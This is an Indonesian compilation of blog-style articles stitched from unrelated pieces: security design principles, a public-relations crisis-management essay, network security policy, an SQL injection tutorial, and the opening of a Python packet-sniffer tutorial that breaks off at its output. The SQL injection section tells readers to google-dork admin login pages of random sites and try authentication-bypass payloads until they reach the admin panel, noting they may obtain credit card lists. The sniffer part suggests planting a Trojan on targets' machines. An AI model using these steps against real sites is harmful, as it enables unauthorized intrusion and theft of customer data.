Tidak tergantung pada kerahasiaan rancangan mekanisme pengamanan. Membuat proteksi yang bagus dengan mengasumsikan penyusup mengetahui cara kerja sistem pengamanan.
· Dapat diterima
Mekanisme harus mudah diterima, sehingga dapat digunakan secara benar dan mekanisme proteksi tidak mengganggu kerja pemakai dan pemenuhan kebutuhan otorisasi pengaksesan.
· Pemeriksaan otoritas saat itu
Banyak sistem memeriksa ijin ketika file dibuka dan setelah itu (opersi lainnya) tidak diperiksa.
· Kewenangan serendah mungkin
Program / pemakai sistem harusnya beroperasi dengan kumpulan wewenang serendah mungkin yang diperlukan untuk menyelesaikan tugasnya.
· Mekanisme yang ekonomis
Mekanisme proteksi seharusnya sekecil dan sesederhana mungkin dan seragam sehingga mudah untuk verifikasi.
Memperbaiki Citra, Ketika Citra Telah Hancur Karena Kegagalan (Marketing Dan Teknis)
Memperbaiki Citra, Ketika Citra Telah Hancur Karena Kegagalan (Marketing Dan Teknis)
Kepercayaan dan citra yang baik di mata masyarakat merupakan salah satu yang terpenting bagi eksistensi sebuah perusahaan. “ Pada era persaingan sekarang ini, bukan publik yang membutuhkan perusahaan, tetapi perusahaan yang butuh publik “ (Ardianto, 2004: 3). Apabila kepercayaan dan citra perusahaan rusak di mata masyarakat, maka perusahaan tersebut harus bersiap-siap untuk menghadapi krisis. Suatu perusahaan yang mengalami permasalahan sudah dianggap selesai secara hukum, justru akan berdampak negative dan akan terus berkepanjangan, serta tingkat kepercayaan atau citra masyarakat menjadi turun secara tajam.
Sehubungan dengan masalah di atas, orang yang mempunyai peranan penting untuk mengembalikan citra perusahaan yang baik adalah seorang Public Relations (PR) atau Humas. “ Seorang PR tidak hanya harus mempunyai technical skill dan managerial skill dalam keadaan normal, tapi PR juga harus memiliki kemampuan dalam mengantisipasi, menghadapi atau menangani suatu krisis kepercayaan (crisis of trust) dan penurunan citra (lost of image) yang terjadi “ (Ruslan, 2006: 247). Selanjutnya merupakan tantangan berat adalah pemulihan citra positif (recovery of image) masyarakat terhadap kepercayaan perusahaan.
“ Public Relatios (PR) adalah sebagai jembatan antara perusahaan atau organisasi dengan publiknya, terutama tercapainya mutual understanding (saling pengertian) antara perusahaan dengan publiknya “ (Ardianto,2004: 3). Pengertian lain dari PR adalah fungsi manajemen yang membangun dan mempertahankan hubungan baik dan bermanfaat antar organisasi dengan publik yang mempengaruhi kesuksesan atau kegagalan organisasi tersebut. Jadi, PR itu merupakan kedudukan dalam suatu perusahaan atau organisasi sebagai penghubung antar perusahaan atau organisasi dengan publiknya (Cutlip, 2000: 6).
Pentingnya Public Relations
Sebuah survei yang diadakan oleh American Advertising Federation (AFF) tentang 1.800 eksekutif bisnis. Para eksekutif diberi pertanyaan departemen mana yang paling penting bagi keberhasilan perusahaan mereka. Hasil tersebut menunjukkan bahwa PR menduduki tingkat tiga teratas setelah pengembangan produk dan perencanaan strategis, kemudian disusul oleh periklanan, penelitian dan pengembangan (Litbang), dan hukum. Hal ini dapat dilihat dari tabel :
Tabel diatas mengutkan bahwa PR menjadi kegiatan yang sangat penting saat ini.
Dalam konsep marketing kuno dikenalkan dengan 4P (product, price, place, dan
promotion), tetapi dewasa ini 4P sudah banyak ditinggalkan orang, tetapi saat
ini diperkenalkan dengan 6P. Dua yang lain adalah power dan public relatios
(Nurudin, 2008:5).
Public Relations dan Penanganan Krisis Kepercayaan Serta Turunnya Citra Perusahaan
Citra merupakan hal yang terpenting dari suatu perusahaan. Citra ini dengan sengaja diciptakan agar memberikan nilai positif. Nilai positif sangat diperlukan bagi sebuah perusahaan untuk mendapatkan kepercayaan dari publik agar eksistesnsi dari perusahaan dapat terus berlanjut. Saat terjadi krisis kepercayaan dan menurunnya citra perusahaan, peran PR sangat dibutuhkan oleh perusahaan. Untuk lebih jelas mengetahui peran PR dalam menangani krisis kepercayaan dan menurunnya citra perusahaan ada beberapa hal yang harus diperhatikan, yaitu :
• Persyaratan Menjadi Public Relations (PR)
Terdapat persyaratan mendasar yang harus dimiliki seseorang yang ingin menjalankan fungsi PR, diantaranya yaitu :
1. Ability to communicate (kemampuan berkomunikasi)
Kemampuan berkomunikasi bagi seorang PR dalam bentuk lisan dan tulisan, yakni seorang PR harus mampu berbicara di depan umum, seperti dapat melakukan presentasi, mampu mewawancarai dalam upaya pengumpulan fakta dan data, dan dapat diwawancarai oleh pers atau wartawan sebagai sumber berita. Dalam komunikasi tulisan harus mampu membuat Press Release, menulis laporan, membuat naskah pidato untuk manajemen, menulis konsep iklan layanan masyarakat, menulis brosur atau selebaran, dan bentuk komunikasi tulisan lainnya.
2. Ability to organize (kemampuan manajerial atau kepemimpinan)
Kemampuan manajerial atau kepemimpinan seorang PR dapat diartikan sebagai kemampuan mengantisipasi masalah dalam dan luar perusahaan, termasuk kemampuan untuk menyusun rencana kegiatan dan melaksanakannya.
3. Ability to get on with people (kemampuan bergaul atau membina relasi)
Kemampuan bergaul atau membina relasi artinya harus mampu berhubungan dengan dan bekerjasama dengan berbagai macam orang, dan mampu menjaga komunikasi yang baik dengan orang-orang yang berbeda atau sama tingkatannya.
4. Personality Integrity (memiliki kepribadian yang utuh atau jujur)
Kepribadian yang utuh atau jujur, artinya seorang PR harus memiliki kredibilitas yang tinggi, yakni dapat diandalkan dan dipercaya oleh orang lain, dan dapat diterima sebagai orang yang memiliki kepribadian utuh atau jujur.
5. Imagination (banyak ide dan kreatif)
Memiliki imajinasi (banyak ide dan kreatif) dalam pengertian seorang PR harus memiliki wawasan yang luas, mengetahui benang merah persoalan serumit apapun.
• Tujuan Universal Public Relatios
Public Relations memiliki tujuan yang universal diantaranya, yaitu :
· Menciptakan public understanding (pengertian publik). Pengertian belum berarti persetujuan/penerimaan, dan persetujuan belum berarti penerimaan. Di sini public memahami organisasi/perusahaan tersebut dalam masalah produk/jasa, aktivitas-aktivitas, reputasi, perilaku manajemen, dsb.
· Menciptakan public Confidence (adanya kepercayaan publik terhadap perusahaan).
· Menciptakan public Support (adanya unsur dukungan dari publik terhadap perusahaan) baik itu dalam bentuk material maupun spiritual.
· Menciptakan public Coorperation (adanya kerjasama dari publik terhadap perusahaan).
Metode Public Relations dalam Menangani Krisis Kepercayaan dan Menurunnya Citra Perusahaan
Perusahaan yang baik adalah perusahaan yang berhasil mencapai cita-cita dan tujuannya secara maksimal. Begitu pula dengan kerja praktisi PR yang bertugas menangani krisis kepercayaan dan mengembalikan citra positif perusahaan dimana praktisi PR ini bernaung. Untuk kelancaran jalannya proses pencapaian tujuan tersebut dilakukan cara-cara penyelenggaraan kerja yang seefisien mungkin dengan mengingat faktor tujuan, biaya, fasilitas, waktu, dan tenaga. Dengan kata lain bahwa PR memerlukan metode kerja yang menjadi syarat mutlak untuk mencapai tujuan.
Metode pekerjaan PR ditekankan pada penelitian terhadap publik. Dari penelitian disusun rencana kerja, kemudian dilaksanakan, lalu dilakukan evaluasi. Secara sistemastis proses pekerjaan PR dalam menangani krisis dan menurunnya citra perusahaan dapat digambarkan sesuai tahapan tadi, yaitu :
• Penelitian (Research)
Penelitian mempunyai peranan sangat penting sebagai kegiatan pendukung dalam melaksanakan fungsi PR, baik untuk memperoleh data, fakta lapangan mengenai citra perusahaan, persepsi, pandangan, dan opini public secara akurat serta tanggapan khalayak sebagai target sebagai sasaran mengenai kebikajsanaan, pelayanan, program kerja, aktivitas perusahaan.
• Perencanaan (Planning)
Setelah mendapatkan hasil laporan yang berupa data dan fakta dari penelitian, PR kemudian menyusun rencana kerja. Dalam hal ini rencana kerja disusun tidak berdasarkan pada keinginan yang dipaksakan dan irrasional. Perencanaan yang baik bersifat rasional, flexible, dan berkelanjutan.
Tujuan dari perencanaan PR adalah :
1. Mengubah citra.
2. Membentuk citra baru.
3. Memperkenalkan perusahaan.
4. Meningkatkan community relatios.
5. Menentukan partisipasi pemimpin dalam kehidupan masyarakat (public life).
6. Memberitahukan kegiatan penelitian.
Keberhasilan perencanaan tergantung pada keterampilan dan efisiensi praktisi PR. Salah satu faktor yang bisa dijadikan tolak ukur keberhasilan dari perncanaan tersebut adalah pembentukkan opini, sikap, dan citra.
• Pelaksanaan (Action)
Pelaksanaan dilakukan setelah rencana yang matang mendapatkan persetujuan dari semua pihak terkait. Pelaksanaan kerja merupakan kegiatan operasional dalam melakukan apa yang telah direncanakan. Pengembalian kepercayaan dan citra perusahaan dilakukan dengan menggabungkan tenaga kerja, alat-alat, informasi, waktu, tempat, dan uang. Pelaksanaan ini dikatakan sukses apabila tujuan telah tercapai. Dalam hal ini berbagai cara dan teknik digunakan diantaranya yaitu pendekatan terhadap pegawai (internal public) dan pendekatan kepada umum (eksternal public). Untuk mengebalikan kepercayaan publik dan citra perusahaan diutamakan pendekatan kepada umum karena menyangkut pandangan masyarakat secara luas.
• Penilaian (Evaluation)
Penilaian ini tahap dimana pemeriksaan terhadap program dan rencana yang dapat dilakukan. Tahap ini berguna untuk mengetahui permasalahan yang harus diperhatikan lebih lanjut.
Peran Public Relations sangat besar dalam penanganan krisis kepercayaan dan penurunan citra perusahaan. PR ini mempunyai tujuan universal yaitu menciptakan public understanding, public confidence, public support, public coorperation. Selain itu PR mempunyai fungsi mengetahui secara pasti dan mengevaluasi pendapat umum yang berkaitan dengan perusahaannya, menasehati para eksekutif mengenai cara-cara menangani pendapat umum yang timbul, menggunakan komunikasi untuk mempengaruhi pendapat umum.
Dalam peranannya, PR ini mempunyai metode untuk menangani krisis kepercayaan dan menurunnya citra. Metode ini terdiri dari beberapa tahap yaitu penelitian (research), perencanaan (planning), pelaksanaan (action), dan penilaian (evaluation).
Merancang Sistem Keamanan Jaringan yang Tangguh
Suatu organisasi dapat mempunyai dua atau lebih dari satu situs atau dimana tiap situs mempunyai jaringan sendiri. Bila organisasi besar, maka sangat dimungkinkan situs-situs tersebut mempunyai administrasi jaringan yang dibedakan menurut tujuan tertentu.
Bila situs-situs ini tidak terhubung melalui internet, tiap situs mungkin memiliki kebijakan keamanan sendiri. Bagaimanapun, bila situs-situs tersebut terhubung melalui internet, maka kebijakan keamanan harus mencakup tujuan dari semua situs yang saling terhubung.
Pada umumnya suatu situs adalah bagian dari organisasi yang mempunyai beberapa komputer dan sumber daya yang terhubung ke dalam suatu jaringan. Sumber daya tersebut misalnya :
Workstation dan Laptop
· Komputer sebagai host atau server
· Interkoneksi: gateway, router, bridge, repeater
· Perangkat lunak aplikasi dan jaringan (NOS)
· Kabel-kabel jaringan
· Informasi di dalam file dan database
Kebijakan keamanan situs harus memperhatikan pula keamanan terhadap sumber daya tersebut. Karena situs terhubung ke jaringan lain, maka kebijakan keamanan harus memperhatikan kebutuhan dari semua jaringan yang saling terhubung. Hal ini penting untuk diperhatikan karena kemungkinan kebijakan keamanan situs dapat melindungi situs tersebut, namun berbahaya bagi sumber daya jaringan yang lain.
Suatu contoh dari hal ini
adalah penggunaan alamat IP di belakang firewall, dimana alamat IP tersebut
sudah digunakan oleh orang lain. Pada kasus ini, penyusupan dapat dilakukan
terhadap jaringan di belakang firewall dengan melakukan IP spoofing. Sebagai
catatan, RFC 1244 membahas keamanan keamanan situs secara detail.
Kebijakan Keamanan Jaringan
Kebijakan keamanan menyediakan kerangka-kerangka untuk membuat keputusan yang spesifik, misalnya mekanisme apa yang akan digunakan untuk melindungi jaringan dan bagaimana mengkonfigurasi servis-servis. Kebijakan keamanan juga merupakan dasar untuk mengembangkan petunjuk pemrograman yang aman untuk diikuti user maupun bagi administrator sistem. Karena kebjikan keamanan tersebut mencakup bahasan yang sangat luas, maka pada saat ini hanya akan dibahas inti permasalahan saja dan tidak akan membahas hal-hal yang bersifat spesifik dari segi teknologi.
Sebuah kebijakan keamanan mencakup hal-hal berikut ini:
1. Deskripsi secara detail tentang lingkungan teknis dari situs, hukum yang berlaku, otoritas dari kebijakan tersebut dan filosofi dasar untuk digunakan pada saat menginterpretasikan kebijakan tersebut.
2. Analisa risiko yang mengidentifikasi aset-aset situs, ancaman yang dihadapi oleh aset-aset tersebut dan biaya yang harus dikeluarkan untuk kerusakan/kehilangan aset-aset tersebut.
3. Petunjuk bagi administrator sistem untuk mengelola sistem
4. Definisi bagi user tentang hal-hal yang boleh dilakukan
5. Petunjuk untuk kompromi terhadap media dan penerapan hukum yang ada, serta memutuskan apakah akan melacak penyusup atau akan mematikan sistem dan kemudian memulihkannya lagi.
Faktor yang berpengaruh terhadap keberhasilan kebijakan keamanan antara lain adalah:
· Komitmen dari pengelola jaringan
· Dukungan teknologi untuk menerapkan kebijakan keamanan tersebut
· Keefektifan penyebaran kebijakan tersebut
· Kesadaran semua user jaringan terhadap keamanan jaringan
·
Pihak pengelola jaringan komputer mengatur tanggung jawab terhadap keamanan jaringan, menyediakan training untuk personel-personel yang bertugas di bidang keamanan jaringan dan mengalokasikan dana untuk keamanan jaringan. Yang termasuk pilihan-pilihan teknis yang dapat digunakan untuk mendukung keamanan jaringan komputer antara lain:
1) Authentikasi terhadap sistem
2) Audit sistem untuk akuntabilitas dan rekonstruksi
3) Enkripsi terhadap sistem untuk penyimpanan dan pengiriman data penting
4) Tool-tool jaringan, misalnya firewall dan proxy
Hal-hal Praktis Pendukung
Di bawah ini adalah hal-hal praktis yang perlu dilakukan untuk mendukung keamanan jaringan komputer, antara lain:
· Memastikan semua account mempunyai password yang sulit untuk ditebak. Akan lebih baik bila menggunakan OTP (One Time Password)
· Menggunakan tool, misalnya MD5 checksums, sebuah teknik kriptografi untuk memastikan integritas perangkat lunak sistem
· Menggunakan teknik pemrograman yang aman pada saat membuat perangkat lunak
· Selalu bersikap waspada terhadap penggunaan dan konfigurasi jaringan komputer
· Memeriksa secara rutin apakah vendor memiliki perbaikan-perbaikan terhadap lubang keamanan yang terbaru dan selalu menjaga sistem selalu mengalami upgrading terhadap keamanan
· Memeriksa secara rutin dokumen-dokumen dan artikel on-line tentang bahaya keamanan dan teknik mengatasiny. Dokumen dan artikel seperti ini dapat ditemukan pada situs-situs milik incident response teams, misalnya CERT (Computer Emergency Response Team dan Computer Security Incident Response Team
· Mengaudit sistem dan jaringan dan secara rutin memeriksa daftar log. Beberapa situs yang mengalami insiden keamanan melaporkan bahwa audit yang dikumpulkan minim sehingga sulit untuk mendeteksi dan melacak penyusupan
TUTORIAL SQL INJECTION
Pengertian SQL Injection
1) SQL injection adalah sebuah aksi hacking \yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ‟ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form. Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server. Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice Contoh sintaks SQL Injection Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =‟$username‟ and password = „$password‟”; , {dari GET atau POST variable }
2) isikan password dengan string ‟ or ‟‟ = ‟
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ‟$username‟ and password=‟pass‟ or „=′”; , { dengan SQ Contoh sintaks SQL Injection SQL Injection melalui URL, contohnya : Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter „ dengan memodifikasi php.ini
1. Merubah script php Contoh script php semula : $query = "select id,name,email,password,type,block from user " . "where email = '$Email' and password = '$Password'"; $hasil = mySQL_query($query, $id_mySQL); while($row = mySQL_fetch_row($hasil)) { $Id = $row[0]; $name = $row
[1]; $email = $row
[2]; $password = $row
[3]; $type = $row
[4]; $block = $row
[5]; } if(strcmp($block, 'yes') == 0) { echo "\n"; exit(); } else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ‟ or ‟‟ = ‟ kedalam form email dan password maka akan terbentuk query sebagai berikut :
Maka dilakukan perubahan script menjadi : $query = "select id,name,email,password,type,block from user". "where email = '$Email'"; $hasil = mySQL_query($query, $id_mySQL); while($row = mySQL_fetch_row($hasil)) { $Id = $row
[0]; $name = $row
[1]; $email = $row
[2]; $password = $row
[3]; $type = $row
[4]; $block = $row
[5]; } if(strcmp($block, 'yes') == 0) { echo "\n"; exit(); } $pass = md5($Password); else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string Merubah string yang mengandung karakter „ menjadi \‟ misal SQL injec‟tion menjadi SQL injec\‟tion Contoh : $kar = “SQL injec‟tion”; $filter = mySQL_escape_string($kar); echo”Hasil filter : $filter”; Hasilnya :
Pemfilteran karakter ‘ dengan memodifikasi php.ini Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter „ diubah menjadi \‟ secara otomatis oleh php Contoh : Contoh script yang membatasi karakter yang bisa masukkan : function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" validatepassword = true for i = 1 to len( input ) c = mid( input, i,
1 ) if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut "/admin.asp" "/login.asp" "/logon.asp" "/adminlogin.asp" "/adminlogon.asp" "/admin_login.asp" "/admin_logon.asp" "/admin/admin.asp" "/admin/login.asp" "/admin/logon.asp" {anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut : User name : ` or `a'='a Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain : User name : admin Password : ` or `a'='a atau bisa dimasukkan ke dua–duanya misal : „ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; „ or 0=0 # ; “ or 0=0 # ; „ or‟x‟=‟x ; “ or “x”=”x ; „) or („x‟=‟x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab. Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.
R E F E R E N S I
1) -------------, SQLinjection, (www.BlackAngels.it).
2) -------------, Advanced SQL injection in SQL server applications, (www.ngssoftware.com). 3) -------------, SQL injection walktrough (www.securiteam.com).
4) BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005, (http://www.jasakom.com).
5) Budi Raharjo, ”Keamanan Sistem Informasi Berbasis Internet”, PT Insan Indonesia & PT INDOCISC, Jakarta,2002.
PACKET SNIFFER
Network Packet Sniffer.
Halo teman – teman ketemu lagi bersama penulis rahmat ramadhan aka jimmyromanticdevil . ok kali ini si penulis akan membahas tentang network packet sniffer . pada tutorial ini penulis akan mengunakan bahasa pemrogramman Python untuk code-code network packet sniffer dan OS linux untuk menjalankan codenya.tapi sebelum itu kita kenal dulu apa sebenarnya network packet sniffer itu .
First Theory/Teori pertama tentang Packet .
What is Network Packet sniffer / Apa sebenarnya Network packet sniffer itu ?
Anaglogy :
Ketika kita terkoneksi dengan internet,data tidak dikirim dalam satu aliran
data yang berkelanjutan,ini akan menjadi tidak praktis dan itu akan membatasi
kinerja jaringan internet.Untuk menjaga kinerja Internet semaksimal mungkin,
data dipotong atau di iris. Seperti sepotong data (baik inbound atau outbound)
disebut “paket”.dan packet tidak dapat kalian lihat dengan mata telanjang .
Mengirimkan informasi pada jaringan berarti mengirim “paket” data.nah
analoginya Pikirkan mereka seperti atom. Banyaknya paket akan menciptakan
informasi akhir yang akan kalian lihat pada layar kalian, baik itu website atau
email. Untuk “melihat” atom kalian akan memerlukan perangkat khusus, beberapa
jenis mikroskop elektron, untuk dapat melihat “paket” kalian sudah dikirim atau
diterima.kalian juga membutuhkan perangkat khusus. Ini adalah tipe khusus dari
program monitoring yang disebut.packet sniffer. Dengan menggunakan sebuah
packet sniffer kalian dapat melihat informasi-informasi yang masuk atau
terkirim dari komputer kalian.
Definisi :
NETWORK PACKET :
Paket jaringan atau network packet adalah satuan informasi dasar yang dapat
ditransmisikan di atas jaringan atau melalui saluran komunikasi digital. Sebuah
paket berisi packet header yang berisi informasi mengenai protokol tersebut
(informasi mengenai type,source data, destination source,data,ip addres atau
informasi lainnya), data yang hendak ditransmisikan yang disebut dengan data
payload, dan packet trailer yang bersifat opsional. Sebuah paket memiliki
struktur logis yang dibentuk oleh protokol yang digunakannya.
NETWORK PACKET SNIFFER:
Packet sniffer adalah program yang menangkap semua paket data yang melewati
antarmuka jaringan/network interface,dan recognizes dan mendecode paket
tersebut.Sebuah paket sniffer kadang-kadang disebut sebagai network monitor dan
network analyzer.Hal ini biasanya digunakan oleh administrator sistem untuk
memonitor dan memecahkan masalah dalam lalu lintas jaringan.Namun,
kadang-kadang juga digunakan oleh penyusup berbahaya untuk tujuan terlarang
seperti mencuri password pengguna dari nomor kartu kredit dan
sebagainya.Biasanya, sebuah komputer dalam sebuah jaringan hanya akan menangkap
paket data yang ditujukan untuk mesin tersebut. Namun, jika antarmuka jaringan
dikonfigurasikan dalam mode promiscuous,komputer mampu menangkap semua paket
yang melintasi jaringan tersebut tanpa tujuan. Sebuah paket sniffer hanya dapat
menangkap paket dalam subnet yang diberikan…
Paket Sniffer dapat dimanfaatkan untuk hal-hal berikut:
· Mengatasi permasalahan pada jaringan komputer.
· Mendeteksi adanya penyelundup dalam jaringan (Network Intusion).
· Memonitor penggunaan jaringan dan menyaring isi isi tertentu.
· Memata-matai pengguna jaringan lain dan mengumpulkan informasi pribadi yang dimilikanya (misalkan password).
· Dapat digunakan untuk Reverse Engineer pada jaringan.dll
HOW IT WORK / bagaimana cara kerja Network packet sniffer ?
Packet sniffers menangkap data yang berbentuk “binary” yang lewat melalui
jaringan, kebanyakan tidak semua sniffer bisa melakukan “decode” terhadap data
ini menjadi bentuk yang dapat dibaca manusia.Untuk membuatnya lebih mudah (bagi
manusia) langkah lain terjadi yang dikenal sebagai “analisis protokol”.dan
analis protocol berbeda2,beberapa sederhana dan hanya sedikit “paket”
informasi. Yang lain lebih kompleks memberikan “rinci” informasi tentang apa
yang dilihatnya pada paket (yaitu, menyoroti password untuk layanan dll).
Salah satu yang sangat penting (dan sangat sederhana) poin untuk memahami
network packet sniffer bahwa kita harus berada pada satu jaringan yang sama
dengan travel data. Singkatnya perangkat “probing” yang “menangkap”/”capture”
harus memiliki data pada kabel yang sama. Data kemudian dapat diteruskan dan
didecoding pada computer.
Situasi: jimmy dan regina terlibat dalam sesi chatting. dan kamu berada di kota
yang jauh terpisah dari dua orang tersebut.jimmy dan regina sedang berbicara
rincian rahasia tentang penjualan kokain/sabu2.kamu sebagai (warga negara patuh
hukum) memutuskan untuk melakukan sniffer sesi chatting,source data,destination
dll untuk mengetahui keberadaan mereka dll(dari lokasi kamu) untuk membantu
polisi menangkap jimmy dan regina.
Jawaban yang sederhana adalah kalian TIDAK BISA melakukan itu karena kalian
tidak memiliki akses ke jalan yang telah di lewati oleh data tersebut! Tentu
saja jika kalian adalah seorang hacker yang baik (atau juga Cracker) maka
kalian bisa menginstal Trojan pada komputer jimmy atau regina dan menjalankan
aplikasi network packet sniffer dari sistem mereka, sehingga sniffer ada pada
jaringan yang sama.
We must know about IP
header/kita harus tau tentang IP header/Header IP
Consep:
TCP
akan mengirim setiap datagram ke IP dan meminta IP untuk mengirimkannya ke
tujuan (tentu saja dg cara mengirimkan IP alamat tujuan). Inilah tugas IP
sebenarnya. IP tidak peduli apa isi dari datagram, atau isi dari TCP header.
Tugas IP sangat sederhana, yaitu hanya mengantarkan datagram tersebut sampai
tujuan (lihat bahasan sebelumnya). Jika IP melewati suatu gateway, maka ia
kemudian akan menambahkan header miliknya. Hal yg penting dari header ini adalah
source address dan Destination address, protocol number dan checksum. source
address adalah alamat asal datagram. Destination address adalah alamat tujuan
datagram (ini penting agar gateway mengetahui ke mana datagram akan pergi).
Protocol number meminta IP tujuan untuk mengirim datagram ke TCP. Karena
meskipun jalannya IP menggunakan TCP, tetapi ada juga protokol tertentu yg
dapat menggunakan IP, jadi kita harus memastikan IP menggunakan protokol apa
untuk mengirim datagram tersebut. Akhirnya, checksum akan meminta IP tujuan
untuk meyakinkan bahwa header tidak mengalami kerusakan. Yang perlu dicatat
yaitu bahwa TCP dan IP menggunakan checksum yang berbeda. Berikut inilah
tampilan header IP :
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
Selanjutnya berikut ringkasan mengenai bagian header yg belum dibahas
:
a. Total length, merupakan panjang keseluruhan datagram dalam oktet, termasuk
header dan data IP.
b. Identification, digunakan untuk membantu proses penggabungan kembali
pecahan-pecahan dari sebuah datagram.
c. Flag,berisi tiga kontrol flag.
– bit 0, dicadangkan, harus 0.
– Bit 1, tidak boleh pecah.
– Bit 2, masih ada fragment lagi.
d. Fragment offset, menunjukan posisi fragment di dalam datagram.
e. Time to live, menunjukan batas waktu maksimal bagi sebuah datagram
f. padding ,Digunakan sebagai pengisi untuk menjamin bahwa data dimulai pada
batas 32 bit.
g. Option ,transmission di semua particular datagram
pertanyaanya sekarang kenapa kita harus tau tentang ip header ??
karena inilah intinya dalam packet sniffer . karena di sinilah kita tau dimana
letak2 data2 packet yang akan kita dapatkan.
ok saya rasa cukup untuk sedikit theory mari selanjutnya kita membuat sebuah
network packet sniffer kita sendiri dengan python.
di sini lib yang saya gunakan adalah base dari lib socket bawaan python sendiri
. banyak lib2 yang sudah di kembangkan yang lebih powerfull seperti
libpcap,pcap,scapy dll cuman di sini saya lebih prefer untuk dasar memakai lib
sederhana bawaan python yang tidak kalah powerfull untuk basic .
First code . yang paling basic untuk packet sniffer adalah seperti berikut
|
1 2 3 4 5 6 7 8 9 |
#Simple Packet sniffer by jimmromanticdevil import socket #import lib socket
#buat sebuah INET, set socket menjadi raw socket,dan set protocol TCP s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
#menerima sebuah packet while True: print s.recvfrom(65565) |
Jalankan sebagai root privileges atau sudo di ubuntu
sudo python simplesniffer.py
Maka outputnya akan seperti ini.
|
1 2 3 4 5 6 7 8 9 |
